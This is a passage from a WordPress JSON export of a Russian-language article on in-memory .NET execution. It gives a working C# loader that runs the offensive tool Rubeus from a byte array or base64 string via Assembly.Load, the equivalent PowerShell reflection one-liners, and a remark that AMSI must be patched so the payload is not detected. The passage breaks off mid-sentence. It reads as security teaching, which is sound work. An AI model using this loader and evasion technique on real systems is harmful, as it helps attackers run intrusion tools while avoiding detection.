width=\"\"><\/div>\n<p>\u041a\u0430\u043a \u043c\u044b \u0432\u0438\u0434\u0438\u043c, \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442 \u0441\u0432\u043e\u044e \u0440\u0430\u0431\u043e\u0442\u0443, \u0434\u0430\u0436\u0435 \u043a\u043e\u0433\u0434\u0430 \u0441 \u0434\u0438\u0441\u043a\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0443\u0436\u0435 \u043d\u0435 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0447\u0442\u043e-\u043b\u0438\u0431\u043e \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c. \u042d\u0442\u043e \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0442\u043e\u0442 \u0444\u0430\u043a\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u043e\u043c, \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043f\u0430\u043c\u044f\u0442\u044c, \u0430 \u0437\u0430\u0442\u0435\u043c \u0438\u0434\u0451\u0442 \u0435\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435. <\/p>\n<h2>\u0412\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u044f\u0437\u044b\u043a\u043e\u0432 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 <\/h2>\n<h3>C# \u0438 System.Reflection.Assembly<\/h3>\n<p>\u0423 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u044f\u0437\u044b\u043a\u043e\u0432 \u0435\u0441\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0443 C# \u0435\u0441\u0442\u044c \u043d\u0435\u0439\u043c\u0441\u043f\u0435\u0439\u0441 System.Reflection, \u0430 \u0432 \u043d\u0451\u043c \u043a\u043b\u0430\u0441\u0441 Assembly \u0441 \u043c\u0435\u0442\u043e\u0434\u043e\u043c Load, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u044f \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f C# \u0441\u0431\u043e\u0440\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438. \u041f\u0440\u043e\u0442\u043e\u0442\u0438\u043f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439: <\/p>\n<pre><code class=\"cs\">public static System.Reflection.Assembly Load (byte[] rawAssembly);<\/code><\/pre>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u043e\u0434\u0438\u043d-\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u2014 rawAssembly. \u041e\u043d \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432 \u0441\u0431\u043e\u0440\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u043e\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0432 \u043f\u0430\u043c\u044f\u0442\u044c. \u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0444\u0430\u0439\u043b Rubeus.exe \u2014 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u043e\u0442\u043b\u0438\u0447\u043d\u043e \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u0438, \u0432\u0435\u0434\u044c \u043e\u043d \u043d\u0430\u043f\u0438\u0441\u0430\u043d \u043d\u0430 C#. <\/p>\n<p>\u0414\u043b\u044f \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u0430\u0439\u0442\u043e\u0432 \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c <a href=\"https:\/\/learn.microsoft.com\/ru-ru\/dotnet\/api\/system.io.file.readallbytes?view=net-7.0\">File.ReadAllBytes<\/a>, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u0432 \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u0448\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0438 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0435\u0451 \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430. <\/p>\n<pre><code class=\"cs\">using System; using System.IO; using System.Reflection;  namespace AssemblyLoader { class Program {     static void Main(string[] args)     {         Byte[] bytes = File.ReadAllBytes(@\"C:\\Users\\Michael\\Downloads\\Rubeus.exe\");             ExecuteAssembly(bytes, new string[] { \"user\" });               Console.Write(\"Press any key to exit\");         string input = Console.ReadLine();     }       public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)     {         Assembly assembly = Assembly.Load(assemblyBytes);           MethodInfo method = assembly.EntryPoint;                                                     object[] parameters = new[] { param };           object execute = method.Invoke(null, parameters);     } } } ```<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u0433\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0432\u0441\u0435 \u0431\u0430\u0439\u0442\u044b \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438, \u0430 \u0437\u0430\u0442\u0435\u043c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 Assembly.Load(), \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0451\u0442 \u043a \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0435\u0439\u043b\u043e\u0430\u0434\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438! \u041d\u0430\u0447\u043d\u0451\u043c \u0441\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0431\u0430\u0439\u0442\u043e\u0432. \u041a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c File.ReadAllBytes(), \u043c\u044f\u0433\u043a\u043e \u0433\u043e\u0432\u043e\u0440\u044f, \u043d\u0443\u0434\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0431\u0430\u0439\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c Powershell: <\/p>\n<p><code>$FilePath = \"C:\\Users\\Michael\\Downloads\\Rubeus.exe\"\"<br \/>$File = [System.IO.File]::ReadAllBytes($FilePath);<\/code><\/p>\n<p>\u0412 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 $File \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0441\u043b\u0438\u0448\u043a\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0430\u0439\u0442\u043e\u0432, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0443\u0434\u043e\u0431\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c: <\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e \u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u043c\u0430\u0441\u0441\u0438\u0432 \u0432 Base64, \u0430 \u0437\u0430\u0442\u0435\u043c \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435 \u0430\u0442\u0430\u043a\u0443\u0435\u043c\u043e\u0433\u043e \u0441\u0442\u0440\u043e\u043a\u0443 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0443\u0436\u043d\u044b\u0439 \u043f\u043e\u0442\u043e\u043a \u0431\u0430\u0439\u0442\u043e\u0432. <\/p>\n<p><code>$Base64String = [System.Convert]::ToBase64String($File);<br \/>echo $Base64String;<\/code><\/p>\n<figure class=\"full-width\"><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043d\u0430\u0448 \u043b\u043e\u0430\u0434\u0435\u0440, \u0434\u043e\u0431\u0430\u0432\u0438\u0432 \u0432 \u043d\u0435\u0433\u043e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u0443\u044e Base64 \u0441\u0442\u0440\u043e\u043a\u0443 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b \u043f\u043e \u0435\u0451 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044e: <\/p>\n<pre><code class=\"cs\">using System; using System.IO; using System.Reflection;     namespace AssemblyLoader { class Program {     static void Main(string[] args)     {         string assemblyBase64 = \"&lt;b64 value>\";         Byte[] bytes = Convert.FromBase64String(assemblyBase64);             ExecuteAssembly(bytes, new string[] { \"user\" });               Console.Write(\"Press any key to exit\");         string input = Console.ReadLine();     }       public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param)     {         Assembly assembly = Assembly.Load(assemblyBytes);           MethodInfo method = assembly.EntryPoint;           object[] parameters = new[] { param };           object execute = method.Invoke(null, parameters);     } } }<\/code><\/pre>\n<figure class=\"full-width\"><\/figure>\n<p>\u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0435 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0441\u0431\u043e\u0440\u043a\u0443, \u0432\u0435\u0434\u044c \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u0437\u043e\u0432\u0430 \u0434\u043e\u0442\u043d\u0435\u0442\u043e\u0432\u0441\u043a\u0438\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u0438\u0437 Powershell. \u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0443\u0436\u043d\u043e\u043c\u0443 \u043d\u0430\u043c System.Reflection, \u0430 \u0438\u0437 \u043d\u0435\u0433\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043c\u0435\u0442\u043e\u0434 Assembly.Load(), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0441 \u0442\u0430\u043a\u0438\u043c \u0436\u0435 \u0443\u0441\u043f\u0435\u0445\u043e\u043c \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u0431\u043e\u0440\u043a\u0443 \u0438 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0435\u0439. <\/p>\n<p>\u0421\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441 \u043f\u0440\u043e\u0441\u0442: <\/p>\n<pre><code class=\"powershell\">$blob = \"&lt;\u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u043e\u0435 base64>\" $load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));<\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043d\u0443\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u0432\u044b\u0431\u0440\u0430\u0442\u044c \u0436\u0435\u043b\u0430\u0435\u043c\u044b\u0439 \u0434\u043b\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u043c\u0435\u0442\u043e\u0434, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441: <\/p>\n<pre><code class=\"powershell\">[&lt;namespace>.&lt;class>]::&lt;method>() # Ex \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 [Rubeus.Program]::Main()<\/code><\/pre>\n<p>\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0441 \u0437\u0430\u043f\u0443\u0441\u043a\u043e\u043c \u0447\u0435\u0440\u0435\u0437 Powershell \u0432\u0441\u0435 \u0431\u0430\u0439\u0442\u044b \u0441\u0431\u043e\u0440\u043a\u0438, \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u0435\u043c\u043e\u0439 \u0432 \u043c\u0435\u0442\u043e\u0434 Assembly.Load(), \u043f\u0435\u0440\u0435\u0434 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u043e\u0439 \u043e\u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0432 AMSI, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0443\u0436\u043d\u043e \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0437\u0430\u043f\u0430\u0442\u0447\u0438\u0442\u044c AMSI, \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043d\u0435 \u0440\u0443\u0433\u0430\u043b\u0441\u044f \u043d\u0430 \u043d\u0430\u0448 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439 \u043f\u0435\u0439\u043b\u043e\u0430\u0434. <\/p>\n<p>\u041f\u0440\u0438\u0447\u0451\u043c<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-357342","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/357342","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=357342"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/357342\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=357342"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=357342"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=357342"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}